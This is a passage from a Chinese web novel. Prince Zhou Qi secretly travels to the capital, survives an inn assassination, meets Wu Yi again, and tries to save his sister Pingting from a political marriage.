李博气得等着张灵的背影,“嘿,我,你给我站住!”说着李博紧走两步抓住张灵,“你给我站住!” 张灵看了一眼自己被李博抓住的手,“大人?” 李博赶紧放开,拿出周启书信,“周大人临走时交代了,让你我在徽州一起佯装周大人卧病,请张小姐配合。” 张灵拿过书信,心有不甘,在这样的时刻,她希望自己能在周启左右。 “张小姐,我自幼与周大人一起长大,我不得不提醒你,他决定的事情谁也不能更改,要我是你,我就乖乖按他说的办。” 张灵思虑良久,她知道一个皇子,尤其是大周的嫡皇子,言出必行,旁人不能多言。张灵可不想惹怒周启,心想:周启回京是为了妹妹,当不会节外生枝,自己若能在徽州帮他掩藏行踪也是大功一件。“好,那你快去请大夫,我好每日来探望。” 何平一看这事似乎就这么定下来了,站在李博身后小声说道:“大人,张广和二愣子。” “这样,你派人手往京城方向出发,只要找到大人暗中保护就行。” “我亲自带人去。” “不行,你要在这,免得惹人怀疑。” 就这样何平挑选十人,分四组,三三两两混入人群出了城,一路向北追踪,暗中保护周启。 这边周启快马赶路,二愣子很快追踪上来,他发现 张广并没有跟上来,觉得这可能又是周启的阴谋,所以不敢贸然向前,而是在后边悄悄跟了两天,进入山东地界。出了徽州地界进入山东,二愣子决定动手。虽然不知原因,但是周启擅离职守,就算遇袭也绝不可能寻找官府帮助,正是天赐良机。 皇宫中,皇帝暗中调查娉婷如何出宫,可是一无所获,似乎并没有别人帮忙。皇后许久委派人出宫,只有李贵妃的宫女两次进出,第二次也根本没有回来。皇帝看着宫门档案,心中打鼓,若是李贵妃将娉婷放出,她意欲何为呢?若是娉婷真的回不来了,那大周与西凉的联姻就此作罢,皇后之罪自然最大,那影响的就是周启,他这个唯一的嫡皇子将永无翻身之日。这么想着,皇帝笃定是李贵妃协助娉婷逃跑,甚至为了自己不受怀疑还故意在娉婷逃跑的当晚在皇帝面前说娉婷的不是,皇帝将档案摔在地上,“其心可诛,其心可诛!” “皇上?” 皇上瞪了一眼不该搭腔的刘喜,刘喜赶紧伏低了身子。 “摆驾吧。” “皇上,还是去李贵妃那吗?” “去皇后那里。” 皇帝去了皇后寝宫,李贵妃紧张起来,令牌丢失还没有找到,三皇子的赌坊生意被娉婷知道了,这样的节骨眼上,皇帝突然转变了对她的态度,实在令人担心。忧心忡忡的还有李博,两天了,周启半点消息也没有,就是侍卫小队也没有消息。他们比周启晚出发半天,要是快马疾行也许能赶上,可是周启的马术也经过严格训练,若是他也着急回京,那什么时候才能赶上可就不好说了。如今真是内忧外患,徽州的公文堆起老高,李博只能硬着头皮防着周启的口气一一回复。 “李大人假装起知府来还真是驾轻就熟。” 李博斜眼看了一眼张灵,继续看公文,“你假装探病也演得不错。” “彼此彼此。” “今天戏也演够了,你回去吧。” “李大人。”张灵顿了一下,“跟我说说周小姐呗,我之前没有见过她。” 李博看着张灵,半晌,说道:“周小姐与周大人是孪生兄妹,若说周小姐必然说到大人,所以你是单想听周大人呢?还是但想听周大人呢?” 张灵被李博揭穿了,也不恼,“若是你想说,我也不拦着。” “我劝你还是少动心思。” “怎么?我们张家配不上他吗?” “士农工商学,你们商家配不上。”李博盯着张灵的眼睛说到。 张灵也盯着李博的眼睛,“李大人,这大周在,嫡皇子便尊贵,若大周亡,嫡皇子……” 李博啪的一下将公文合上,“你最好还是小心说话。” 张灵站起身来,缓缓说道:“我听闻西凉王已将 聘礼送至京城,下下个月六公主便要嫁到西凉。我们中原早有嫁公主和亲的先例,但是真正的公主却少有人外嫁,不过拿宫女或大臣之女冒充。可是我们大周不仅出嫁真正的公主,还是一位嫡公主,这就足以说明我们大周并不像看上去那么繁荣昌盛。“李博眼神黯淡下来,张灵继续说道:“西凉近年来国力昌盛,就是徽商晋商也争起西凉的地盘,我知道皇帝出嫁嫡女也是无奈之举。” “你什么意思?” 张灵正对着李博,“我能帮他。” “帮?怎么帮?” “若是与我张家联姻,不仅能控制住大周的经济命脉,就是西凉的商场也都能为五皇子所用。” “哼。” “你不信?” “我看你是为了你们张家吧?别说现在在大周,你们晋商地位已经不如徽商,就是在西凉,你张家可以一手遮天吗?” “我与五皇子可以相互成全。” 李博站起来,与张灵相对而立,“张小姐,千万不要自作聪明,小心偷鸡不成蚀把米。” …… 这天傍晚,周启进入客栈投宿,二愣子紧随其后。周启盘算时间,就算快马加鞭也还需多日才能进京,到了京城还不能让人发现自己,又想想娉婷不知藏身何处,自己还要去顺天府问问陈明阳才行,可是如何进去询问也是难题。周启心烦意乱,最终决定找外公帮忙,打定了主意,周启便洗漱打算早点休息明日早起赶路。刚熄灯不久,听见外边吵闹,周启侧耳倾听,只听楼下一对父女吵了起来。“李老四!”周启瞬间坐了起来,他以为自己听错了,只听李老四也高喊一声,“吴怡!” 原来吴怡与李老四父女出了徽州打算回山东老家,可是李老四心里对徽州恋恋不舍,成天见找吴怡麻烦。 “你叫我也没有用!我告诉你,明天就上路,回了老家,你给我老实点!” “哎呦,大家快来看看呀,我女儿要虐待我呀!”李老四趴着椅子哭天抢地。 “谁虐待你了?” “就是你这个不孝女,你看我腿脚不方便就打算饿死我,不给吃不给穿。老天爷呀,我可是一把屎一把尿的将她拉扯大呀,可是怎么就这么虐待我呀!” 李老四一喊叫,看热闹的围了一大推,店小二跑了过来,“我说你们怎么回事?天天就这么闹,我告诉你,我们掌柜的说了,你们要是再这么闹下去,就给你们轰出去!” “嘿,哪个龟孙说的?我们父女说说话怎么了?你们开店的,还怕有人气吗?怎么的?大家都装个死人不说话,你们才高兴吗?” “我说这位客人,你这说的是人话吗?什么叫装个死人?我们这是客栈,你能住住不能住出去!” “嘿, 我们花钱住店的,你们咋还店大欺客?我们就住在这,就不出去,你能把老子怎么样?” “爹,你少说两句吧!”这两天吴怡都服了李老四了,他天天跟自己胡闹也就算了,还骂骂咧咧对店小二横挑眉毛竖挑眼的,“对不住啊,对不住,我这就带我爹回屋去。”吴怡上来就来推李老四,李老四仍旧假装完全残疾,“你倒是站起来呀,你能别装了吗?” “我装什么了?我就是站不起来,我离了周大人的人参我还能活多久?你还天天这么呲哒我,哎呦我的老天爷,我怎么这么命苦啊!” 吴怡卯足了力气推李老四的椅子,“等我安顿好你,我就去找钱宁,你就一个人闹吧。” “啥?你真的不管你爹了?我真是命苦呀我!大家快帮我报官,我活不成了。”李老四喊了半天,看热闹的有,帮忙的可没有,李老四被吴怡推进房间,仍旧不依不饶,“吴怡,你说你是不是穷命!好好的大人你不要,少东家你也不要,你拿着那么多银子也不找个好地方落脚,天天住在这个破客栈,你说,你是不是想弄死我,好自己去过好日子。” “我要是想弄死你,我就应该把你往树林里一扔,就凭你一条腿,你还能追上我呀!” “嘿,你想让熊瞎子拍死我?好呀,我这么多年算是白养你了,我的老天爷呀……”李老四还在一层房间里胡搅蛮缠,楼上的周启可不想看见他们,打定主意睡觉,隔壁的二愣子已经准备好,今日子时就动手,以报多年仇怨。 (本章完) 第九十八章 周启、吴怡再次相遇 - 风吹繁花散落时 - 红酒羊排 二愣子静静等待,天越来越黑,客栈也安静下来,最后一只烛火熄灭,二愣子仍旧等了一刻时辰,四下寂静,二愣子终于动手。他蹑手蹑脚推开窗户,一脚跨进房间,只见周启头面朝里,气息均匀,二愣子抽出匕首屏住呼吸一步步走进周启,二愣子觉得距离差不多了手起刀落。只听咻的一声,周启拿着一柄小弩正对着二愣子射来,二愣子一个后翻,周启已经射出了第二只弩,二愣子夺门而逃,周启连发三弩,全部打在门框上。 “站住!”周启追了出去,二愣子一个越身从二楼跳了下去,正落在一楼吃饭的桌子上,“抓刺客!”周启大喊一声,再次发出弓弩,小弩咻咻咻地发出没有给二愣子喘息之机,甚至有一弩正打在二愣子的肩胛骨上。二愣子左右跳跃,打算藏在柱子后等待周启犯错,但是下一秒他终于知道周启大喊“抓刺客”是给谁喊的了。原来十名侍卫日夜兼程,终于于入夜时分追到客栈,见周启马匹栓在门口,十人便在客栈打尖,奈何房客已满,便在马棚休息。周启出了徽州地界,知道总会有人动手,佯装熟睡,其实弓弩在手。侍卫们冲进来围住二愣子,很多房客被打架之声惊醒,但是大多不敢出门查看,李老四与吴怡不敢点灯,趴着门缝偷看。“哎哎哎,那不是周大人家的侍卫吗?” “啊?还真是,哎呀小心。” “吴怡,吴怡!你看,周大人,周大人。” “我的妈呀,还真是。爹,你说周大人干嘛来了?” “那我哪知道,哎,你说他是不是知道错了,来找你来了。” “人家哪错了?” “嘿,明明是我骗你,可是他非得冤枉你骗他,他还没错啊。” 吴怡正要再与李老四辩上几句,二愣子一脚踹在一个侍卫身上,那侍卫飞起正撞在吴怡门上,门哐当一声倒在地上,连同侍卫一同将李老四带倒,“哎呦。” “爹,侍卫大哥,你们没事吧。” “吴怡小心!”侍卫一把将吴怡推开,一柄刀飞了过来正刺中侍卫,“侍卫大哥!侍卫大哥!”吴怡抱着侍卫,见他大口呕出鲜血,随即七窍皆出血,“侍卫大哥!”吴怡来不及悲痛,突然被人拎起。“啊,吴怡!”李老四吓了一跳,赶紧抓自己的拐杖站了起来,所有侍卫都围了过来,周启拿着小弩站在所有侍卫中间。 “都给我站住!”二愣子挟持了吴怡,大声呵斥到。 周启站定,拿着小弩的手自然垂下,“你到底是什么人?” “要你命的人!” “哈哈哈。”周启突然觉得好笑,“你说人生真是奇妙,上次这样的情景出现是在徽州,这才两个月,怎么又出现了呢。” “看来上一次的刺客失手了 ,但是这次不会。” “你已经没有机会了。” “是吗?这个女人对你很重要吧?周大人。” “你天天跟着我,应该看见我身边有很多女人才是。” 周启正在与二愣子谈判,吴怡突然开口,“周大人,之前不是我骗你,是我爹,是我爹贪念徽州的繁华,他想呆在徽州才骗了我。” “嘿,我说吴怡,都什么时候了,你怎么还这么说啊。我为了谁啊,我是为了我自己吗?我是替你着急啊,我这当爹的可是一片好心。” “好心?你还好心?你要是好心,咱们早回老家置办田地过上幸福美妙的人生了。现在呢,你看这侍卫,你看这大哥,他们可都是亡命之徒,现在别说回家了,我能不能活着都是问题,这都得怪你。”说着,吴怡开始身体僵直地对李老四隔空拳打脚踢。李老四也不示弱,只有一条腿的李老四举起手中拐杖向吴怡打去。两人一动,二愣子便分了神,周启一个箭弩射出去,正打在二愣子手腕上,侍卫们一拥而上,李老四、吴怡都被推倒在地,幸亏二愣子没有逃脱,被一众人等压在身下。 费了好大劲大家才终于分开,吴怡扶着李老四站起来,侍卫门将二愣子捆住,所有人进了吴怡的房间。 “你们两个把着门。” “哎哎哎,这位……”店小二哆哆嗦嗦扒着门,“这位老板……” “何事?” “老板,我们掌柜的叫我来问问,你你你,你们要打架能不能出去打?” “不能。” “老板,这位老板,那我们可报官了。” 周启回身一瞪眼,店小二吓得腿都哆嗦起来,“是我们掌柜说的,我我我,我只是来传达一句,好汉饶命好汉饶命。” “告诉你们掌柜,摔坏的东西,她赔。” 吴怡见周启指自己顿时不干了,“我?我凭什么赔呀?” “这里就你最有钱呀。” “我,我没钱!”吴怡下意识护着自己的腰带。 周启低头看了一眼,“你有没有钱关我什么事呢?”说着一把将吴怡推出门外,侍卫们一错身将门框堵死,吴怡扒着侍卫要进去,可是店小二见她被推出来,便不依不饶拉着她去见掌柜。 周启回头看了李老四一眼,李老四十分有眼力见的自己出去了。周启安安稳稳坐在椅子上,看着跪在地上的二愣子半晌。 “想杀就杀,不用整这么多弯弯绕绕。” “你怎么知道我的身份?” “哼。” “张广在哪?”二愣子仍旧不说话,周启摆弄着桌子上刚刚从二愣子身上拔下来的小弩,突然起身一弩插进二愣子的胸口。 “啊,你杀了我!”二愣子粗着声音说到。 周启手上一用力,小弩在二愣 子体内旋转,“张广在哪?” “哈哈哈哈。”二愣子突然笑了起来,通红着眼瞪着周启,“你也怕了?啊?哈哈哈哈哈。” “哼,你有种还不是落到本官手上。”说着周启用力拔出小弩,鲜血顿时喷涌而出。周启站直,说道:“你的寨子是本皇子派人灭的,你也是本皇子设计抓住的,你的仇从今以后无人知晓,你也只能烂在地里。”周启俯身一把抓住二愣子的衣领子,两眼死死盯着二愣子的眼睛:“你就带着你的仇去向阎王讨说法吧。”周启撒开二愣子,转身就走。 “老天不公!老天不公!周启,就是我化成厉鬼我也不会放过你,我诅咒大周,我诅咒你们周家,我诅咒你们所有人!” 吴怡被店小二纠缠,实在没办法赔偿了所有损失,回来就遇见周启,“你赔我!”周启不说话,独自上楼,“哎哎哎,周大人!” “你给我闭嘴!” 被周启一吼,吴怡顿时老实了,见周启再次往楼上走,吴怡小声嘀咕道:“这么大声干嘛?都这么大官了,还这么小气。” 周启听见了,站在楼梯上抬头望了望屋顶,又转身对吴怡说:“小骗子,你骗别人的时候有没有半点愧疚?” “我没骗你。”吴怡噔噔噔上楼,“周大人说真的,那是我爹骗我,我根本就不知道他是骗我的。” “你敢说你从来没有骗过别人?” “那,我,我之前是为了活下去我才骗人。再说了,那一万两银子是钱老爷给我的,我知道我不该拿,我想去河北找钱宁还给他,可是我爹不走,我也很着急呀。” 周启听吴怡如此说,心情稍微平复一点“吴怡。” “我说的都是真的,我真的不想再骗人了。” “吴怡。” “我说的都是真的,你怎么就不相信我呢?我真的……” “吴怡!”吴怡终于不说话了,周启长出了一口气,“我相信。” 吴怡愣住了,“啊?你你,你相信?”周启看了吴怡良久,最终一句话也没有说转身上楼,吴怡愣在原地,最终下楼,走两步又回头看看周启。吴怡觉得心里怪怪的,想想钱宁也曾经相信她,还愿意教她学习。这么一想钱宁真是不错,可是若是托付终身,吴怡还是觉得不可思议。就好像这个人不知道哪里不好,他似乎哪里都好,但是就是无法想象和他在一起一辈子。吴怡仍旧思想混乱,她想不明白自己为什么无法说服自己嫁给钱宁,也许是钱家父母的反对,也许还有别的原因,只是吴怡无法说清。 第二天一早,吴怡见周启已经收拾停当准备出发了,“周大人,你干嘛去啊?” “不关你的事不要乱问。” 吴怡吃瘪,但是仍旧说道:“不如我 们一起走吧,你看啊,我爹就喜欢你,要是跟你一起走他肯定愿意。” “不行。” “周大人。”吴怡一作揖,“周大人你就大发慈悲帮帮小女子吧,小女子好还人家钱,以后做个好人呀。” “你去哪?” “嘿嘿,河北。” “不顺路。” “大人去哪?” “京城。” “那不是顺路吗,非常顺路好吗?”吴怡赶紧自己翻身上马,笑呵呵对着周启,“嘿嘿,周大人你就带我一程,我一辈子感谢你。” “你爹又骑不了马,你上去干嘛?” “那……” “你告诉我老家在哪,我派两个人把你爹送回去,然后你和我一路去河北。” “好呀好呀。” “大人。”侍卫在旁听了可得劝谏两句,“本来我们就来了十人,昨天死了一个,如今若再派两人护送李老四,那大人身边的人手就不够了。” “这里不需要你们,你们回徽州去。” “大人。” “这是命令!”所有侍卫都很为难,“本官说了,这是命令。” 侍卫门跪倒一片,“大人,大人独自上路,我等实在不放心。” “这不是有她吗?”周启一指吴怡,“二愣子也抓住了,况且我的暗卫应该跟着呢,这里不需要你们,你们带着二愣子回徽州交给李博,赶紧找到张广是正经事。”侍卫门面面相觑,周启失去了耐心,“本官出徽州的事情不能让别人知道,越多人知道本官越不安全,你们出徽州来抓二愣子也算有所交代,所以你们现在赶紧回去,佯装成是本官在徽州坐镇,这样本官才能安全。” 侍卫门最终被周启说动,一队带着二愣子和尸首回徽州,一队送李老四回老家,李老四见是和周启一起上路也没有胡闹,半路上两队人一分开,李老四想胡闹也没有办法了,毕竟侍卫们可不管他,只完成命令好赶紧回徽州复命。 周启与吴怡一同上路,娉婷还是没有消息。 (本章完) 第九十九章 周娉婷为救陈明阳回京 - 风吹繁花散落时 - 红酒羊排 周启与吴怡一路急行终于到了河北地界。“周大人,我要去找钱宁了,你自己要注意安全。” “担心担心你自己吧。” “我怎么了?我可是老江湖了。” “吴怡,别忘了你答应我以后不骗人了。” “周大人,你都念叨一路了。我知道了,再也不骗人了。” “那就好。”周启一磕马蹬,继续向京城进发。周启盘算距离,还有半天怎么也能进城了,远远见一商队插着陈记的招牌,周启正暗中感叹陈家的生意遍布大周上下,突然有人喊了一声:“哥?” 周启一看,正是娉婷坐在马车上看着自己,比分别之时瘦了也黑了。周启也不勒马,直接一翻身落在马车上,“你跑哪去了你!”兄妹两相互扶着,“你赶紧坐下,小心掉下去。” 原来娉婷想找个山林,选个人烟稀少的地方住下度过余生,可是这天陈记上山收皮货,正瞧见娉婷,伙计也接到了画像,将陈千朗的话传给了娉婷。“让我和陈明阳回徽州,然后好去顺天府销案?什么意思?” “这个小的也不明白,但是东家的确是这么传话的。” “顺天府?顺天府销案?”娉婷心里一沉,她知道这句话意味着什么,陈明阳被顺天府抓了,在京城,所有事都逃不过皇帝的眼睛,是因为自己,陈明阳才被抓了,只有自己回去,陈明阳才能活着出来。娉婷下定了很大的决心回京城来就陈明阳,她搭着陈记商队回京,没想到路上竟看见了周启。 “哥。”娉婷落下泪来,一把抱住了周启。 “你回来干嘛?”周启一路想,若是娉婷真的跑了,自己就叫顺天府把陈明阳放了。 娉婷撒开周启,坚定地说:“去救陈明阳。” “值吗?” “我觉得值。” 周启心情复杂,他也不希望妹妹远嫁,可是如今为了救陈明阳,只有娉婷回京是最好的法子。“娉婷,陈明阳又不喜欢你,为了他,你这样值吗?” “可是我喜欢他,我不想让他死。” “娉婷。” “哥,要怪就怪我们生在帝王家,没得选。”两兄妹坐在马车上不说话,巍峨的城门越来越近了。 “娉婷,我是自己来的京城,你不要告诉别人,我去找趟外公,你自己去顺天府救陈明阳吧。”娉婷点点头,周启再次翻身上马,直奔相府。陈记的商队要去陈记交货,娉婷自行来到顺天府。顺天府尹认识娉婷,知道此事不是自己知道的那么简单,不敢为难,将娉婷带到大牢,让她见陈明阳最后一面。 娉婷缓缓而行,大牢里难闻的气温扑面而来,她远远看见陈明阳满身伤痕躺在牢房内,眼泪如雨一般流了下来。“陈明阳,陈明阳。”娉婷先是扒着牢门 叫了两声,牢门一开,娉婷赶紧进去抱住陈明阳,“陈明阳,陈明阳。” 陈明阳缓缓睁开眼睛,见娉婷通红着眼,陈明阳笑了,虚弱地叫了一声:“娉婷。” 娉婷哽咽到:“你怎么样?” “你怎么回来了?” “我,我不能让你死。” 陈明阳的眼睛也湿润了,他抬手想帮娉婷擦擦眼泪,可是手在空中几经试探,“别哭,我死不了。”陈明阳放下手,“你不该回来。” “我带你出去。”娉婷要将陈明阳扶起来,陈明阳却一把握住娉婷的手,“你不该回来。” “我不回来你就死了。” “你不该回来。” 娉婷终于忍不住放声大哭起来,“陈明阳,可是我周娉婷喜欢你,我不能让你死,我不准你死。” 陈明阳也哭了出来,硕大的泪水划过脸颊,“娉婷,娉婷。” “你不必说了,是我自己要回来的。你走吧,回徽州,以后都不要来京城,起码在我离开之前不要来了。”娉婷抽回了被陈明阳握住的手,自己擦了一把眼泪,“陈明阳,我曾经爱过你,这就够了。”说着,娉婷站了起来,“顺天府。” 顺天府应声进来,双手抱拳施礼道:“下官在。” “你把这个人放了,本公主跟你回去。” “公主殿下,既然殿下已经回来了,陈明阳自然洗脱嫌疑,无罪之人自然应该释放。”说着顺天府尹转头吩咐,“来人,让陈记派人来将他们少东家接回,没他的事了。” 娉婷听完,也不看陈明阳,抬腿离开,陈明阳听得清清楚楚顺天府口称公主殿下。“娉婷,娉婷。” 顺天府过来俯下身子说道:“少东家别叫了,再叫她也不可能回来了。” 陈明阳双手撑地艰难抬身子,“你刚才叫她什么?” “少东家,你若不知道她的身份还能从这出去,本官看在我们多年交情上,就当你不知道,以后你们各自安好,千万不要乱说。” 陈明阳简直不敢相信,他这几天想着娉婷断不是什么普通人,可是他怎么也没有想到娉婷竟是公主殿下,“大人大人。”顺天府可没空给陈明阳解释,也转身离开。 陈记接到顺天府销案的通知,掌柜赶紧亲自来接,还派人将消息再次通过官府驿站送回了徽州。 “少东家,少东家。”掌柜见陈明阳满身伤痕,老泪纵横,“他们怎么能这么对少东家,我们陈记可没少给他们好处。” “吕掌柜,快,扶我起来,扶我起来。” “少东家,你这是要去哪?” “去宫门口,去宫门口,快。”陈明阳把着吕掌柜想要站起来,可是由于身体虚弱半点力气也没有。 “少东家。”吕掌柜扶着陈明阳,使劲将 他搀扶起来,“少东家你去宫门口做什么?咱们买卖人是无法进宫的呀,少东家,听我一句劝,吃亏是福,咱们都不过官家啊。” “我要去宫门口,我要阻止娉婷,她不能回去,不能回去。” “少东家?” “吕掌柜。”陈明阳把着吕掌柜,急急说道:“她要是回去,这辈子就毁了,她再也不是她了,我不能,我不能看着她这么委屈了自己,吕掌柜,快,快扶我去。” 吕掌柜也听不明白,扶着陈明阳走了两步,可是陈明阳太虚弱了,走了两步就觉得天旋地转昏死过去。 “少东家,少东家!”吕掌柜可管不了什么宫门口了,赶紧将伙计叫进来,几个人合力陈明阳抬去了医馆。 这边娉婷救下陈明阳打算入宫接受自己的命运,她远远看见宫门,稍微整理衣服,又平静一下心情,刚要迈步进去,听见旁边一人喊:“周小姐,大小姐!”娉婷寻声望去,竟是吴怡。吴怡紧跑两步,气喘吁吁说道:“哎呀,终于赶上了。” “吴怡?你怎么在这?” “我也不想在这。” “什么意思?” 吴怡终于把气倒匀了,“大小姐,我本来是去河北钱记找钱宁,可是他们钱家的人说钱宁接了钱老爷的书信回家去了。你知道吗,都怪周大人,他把人家店砸了,非让店小二找我要钱赔偿。我没办法只好赔人家钱,我又给我爹钱让他回老家。本来我想找到钱宁还他钱后我再做份工,怎么也能一路回山东,可是钱宁又不在。我的盘缠有用光了,我想着这山东路远,我是回不去了,可是周大人就在京城呀。我就来找他赔我钱,就算他不赔我,他办完事怎么也能把我带回山东,所以我就来京城了。” “什么乱七八糟的,你找我哥要钱,你找他去呀,我可没钱给你。”娉婷糊里糊涂,懒得和吴怡纠缠。 “哎,大小姐。”吴怡一把拉住要走的娉婷,“大小姐,我找他了,他说让我帮你带句话就赔我。” 娉婷转头看着吴怡,“什么话?” 吴怡看着后边的顺天府,虽然不知道这是哪位老爷,可是被别人听见了肯定是不好,所以靠近娉婷小声说道:“周大人说,让你别回家。” 娉婷不可思议地看着娉婷,“什么意思?” “他就让我说这句话。” 娉婷怒火中烧,“你去告诉他,要不他就想办法让我离开,要不他就不要说风凉话!” 吴怡见娉婷生气了,赶紧解释,“大小姐,要不你自己去问他好了,他就在那呢。” 吴怡一指,娉婷见周启正躲在不远处墙根地下冲自己招手。娉婷转头吩咐道:“你们在这等会,我这就回来。”顺天府想要阻拦,娉婷又说道:“这京城 皆在你治下,你还怕我跑了吗?再说了,我既然回来就没想着跑。”说完,娉婷走向周启,吴怡见这位官老爷没有跟来,也赶紧跟上娉婷。 娉婷一走进周启,周启一把拉着娉婷,“快跟我走!” 娉婷一甩手,“跟你走了又如何?早晚得被抓回来!我不走,我要救陈明阳。” 周启回头瞪着妹妹,“你还是先管管你自己吧。” “早就没人管我了,你也别管。” “屁话!”周启看看周围,见没人注意他们,“娉婷,你给我听好了,陈明阳死不了,他们陈记已经将他送到医馆去了,现在你才是要死的那个。” (本章完) 第一百章 周启帮助妹妹逃跑 - 风吹繁花散落时 - 红酒羊排 周启与娉婷一同进京后直奔宰相府,这里高门大院,但是对于周启来说,进来就是易如反掌,因为他知道这里所有的巡逻情况,也清楚所有地理位置。许丞相从宫中回来,打算到书房休息片刻,一进门就见周启倚在椅子上,一只脚还翘着,好像很舒服的样子。 许丞相虽然吃惊,还是悠然说道:“看你,坐没个坐像,叫你父皇看见了,不知要怎么罚你。” “外公,您知道我要回来呀?” 许丞相坐在另一张椅子上,“我派去保护你的人已经月余没有消息了,我想着你也许会派人回来,没想到你自己回来了。说吧,出了什么事了?” “他死了。”周启说着将脚放下来,端端正正坐好。 许丞相楞了一下,“何人所为?” “外公知道一个叫刘伯全的人吗?” “为何突然提起他呢?” “他是真的起兵造反吗?” “这都是三十年前的事了,刘伯全拥兵自重,不奉诏令,被定了谋反罪满门抄斩。” “他有一个儿子叫刘四今,在徽州落草为寇,后来他的寨子被我剿灭了,他到徽州城来找我报仇,可是不知道为何他竟然知道我的真实身份,外公可有线索?” 许丞相吃了一惊,“知道你真实身份?这个人现在何处?” “被我捉了,交给李博审理了。” “他可说出背后之人?” “没有,我看李博也未必问的出。” “他会是三皇子的人吗?” “应该不会,我觉得要是三哥的人,定不会只派一人,我这一路上只遇到他的袭击,所以我想应该不会是三哥的人。” “哈哈哈哈。” “外公?” “五皇子,以前我一说为难你的是三皇子的人,你就不耐烦,也不愿意听,如今倒是明白三皇子不是什么好人了,好好好,这徽州你没有白去。” 周启一时不知说什么好,抿抿嘴不说话。 “五皇子,三皇子进来在朝上动作频繁,你能看清他的狼子野心是好事。” “外公,我父皇就这么纵容三哥吗?” “登高跌重,他若能醒悟,也能助你开创大周盛世,若不能,你父皇也不会容他,你不必太担心。” “哈哈,外公,以前你竟说叫我小心三皇子,怎的现在他如日中天,您倒不担心了。” 许丞相看着周启神秘一笑,“其实告诉你也没有什么。” “怎么了?” “过两个月你也就回京了,徽州的事情要尽快处理好。” “过两个月?外公此言何意?当初我与父皇约定的是一年之期。” 许丞相想了想,“外公觉得你是大人了,所以想着告诉你也无妨。五皇子,你可知西凉以北有一广袤土地,名曰回纥。 ” “倒是听说过,听说回纥国土与我大周相差无几,民风剽悍,外公为何突然说起。” “一年前,回纥派使前来,表示愿意出嫁公主来我朝,与我朝共结秦晋之好。我已经向皇上上书,将由你迎娶回纥公主,到时候你有了我们许家和回纥两个后盾,定能成功入主东宫。” 周启简直想翻白眼,“外公,我爹就不能有点新鲜事吗?他这边嫁女儿,那边娶儿媳妇呀?” “不要胡说。” “外公,咱们为了不跟西凉打战才嫁公主,他们回纥与我朝又不接壤,为何愿意出嫁公主?” 许丞相盯着周启,坚定说道:“共伐西凉。” “共伐西凉?那,那娉婷是不是可以不出嫁了。” 许丞相摇摇头,“皇上的意思是在六公主的婚然当日,趁着西凉举国欢庆,与回纥联手共灭西凉。” 周启腾地站起来,“那你们有没有考虑过娉婷的处境?” 许丞相也站了起来,双手一抱拳,肃穆说道:“五皇子,为了大周,谁也不能独善其身。” “谁也不能独善其身?外公,大周上下多少好男儿,你们却叫一个女人去探狼窝!她可是您的亲外孙,是我父皇的亲生女儿。”说完,周启转身就走,许丞相拦住去路,“现在说什么都晚了,大队人马已经调动,兵士粮草都已准备。若不是趁着公主出嫁之际,这么大规模的调动还无法掩人耳目,六公主,大周会永远记得她的功勋。” “外公!” “五皇子!你在徽州也该知道,治理一州都处处受限,治理一个国家更是难上加难,西凉近来国力强盛,若不早早动手,将来必成大周之患,牺牲一人救千万人,值!” 周启一把将许丞相推开,“我不能叫娉婷去送死!”周启急急从相府出来,一路往宫门而去,突然在路上撞到一个人。 “滚开!”周启也不看是谁,一把将人推开。 “嘿,我说……哎,周大人?我可找到你了。” “吴怡?” 吴怡一把保住周启的胳膊,“周大人,真是巧啊,你看老天爷都帮我。” 周启没空与吴怡掰扯,“给我撒手,我有急事。” 吴怡非但没撒手,身子也贴了上来,“那可不行,你得带我回徽州。” 周启想抽身,吴怡就像狗皮膏药一样不撒手,周启无奈,“成成成,你赶紧,你先帮我办件事,办成了,不仅带你回徽州,还给你十两银子作为酬劳。” “别反悔啊。” “你要是再不快点我找别人了。” 就这样吴怡赶紧松开周启,紧赶慢赶追上娉婷。娉婷听周启说自己才是要死的那个,心里也不急,反正在她打算回京的那一刻,她就已经死了。娉婷看了周启半晌 ,“还有别的事吗?” “你赶紧跟我走,到了徽州,我护你周全。” “哥。”娉婷仍旧努力挤出一个微笑,“天下之大,以无我容身之所。算了吧,我已经累了。”说着,娉婷转身要走。 吴怡伸开双臂拦住娉婷,“周小姐,天下这么大,总有能安身之地,况且周大人说定能护你周全必能护你周全。” 娉婷冷笑一声,“吴怡,我也曾像你一样相信有人能护我周全,可是人生总要自己走。”娉婷很想哭,但是她努力克制,还是笑了,“吴怡,若一辈子都能像你一样傻乎乎的该有多好。” 吴怡愣住了,她从来没有见过这样的娉婷,周启在后边听不下去了,一掌打在娉婷的脖颈上,娉婷晕倒,吴怡吓一跳,她一回头看见官老爷正往这边张望。 “看什么呢!快来搭把手。” “周大人,你怎么还劫持别人啊?” “你给我闭嘴!快来帮忙。” 吴怡不敢多说,赶紧帮周启将娉婷放在周启肩头,顺天府尹看出不对,赶紧带着人过来,“站住!” 周启扛着娉婷赶紧跑,吴怡最怕官兵,脚底抹油逃之夭夭,“我说周大人,你怎么当着官府的面绑架你妹妹呀?” “赶快想办法,回头跟你解释。” 吴怡哪有什么办法,她都要吓死了,“还想什么办法,赶紧跑吧!” 两人正往前跑,前边突然闪出一队人,看着像是普通百姓,但是每个人都身强体壮,“把人放下!” “哎呀我的妈呀,周大人你到底得罪多少人!” “闭嘴!”周启看着两队人,他明白,这是许丞相派来的,周启见两队人越来越近,一把将吴怡推给了顺天府的人,“一会给你钱!”喊完转身就跑,许丞相的人只管抢人,绝不会伤害周启。周启一路狂奔,跑到御河边上一刻也不敢耽误,将娉婷放在船上,可是家丁们也拉住了船。 “公子我们不想为难你,将六公主放下!” 周启可没空与他们分辨,一船桨打在家丁身上,一脚又踹在另一人身上,两边人打了起来。周启明显不敌,正想对策,暗卫终于冲了出来,“大人快走!”周启顾不得其他,开船就跑,他见家丁们一拥而上,安慰果然身手了得,许丞相的家丁纷纷落水。 周启抢出娉婷,不敢在京城停留,一路扛着娉婷进了钱记。 “这位客官?” 周启将娉婷放在椅子上,“本官是徽州知府,现要将重要人犯带回徽州审理,但是本官遇人犯同伙袭击,不得已躲进钱记,这是本官的印信。” 掌柜接过小印扣在白纸上,果然写着“大周徽州知府周启之印”,“哎呀周大人,听闻周大人力挽狂澜保我钱记,周大人有难,钱记自 然帮忙。” “掌柜的,可有藏身之所。” “周大人,钱记马上有一批货要回徽州,大人若不嫌弃,可跟着商队一起回去。” “那好,何时出发?” “原本明天一早,不过货物已经装好了,恐有生变,大人,现在就可出城。” “我还有一个人,不知能否脱险,也不知她听没听懂我说的话。若是我们离开之时她还未到,请将这十两银子给她,让她自回徽州。” 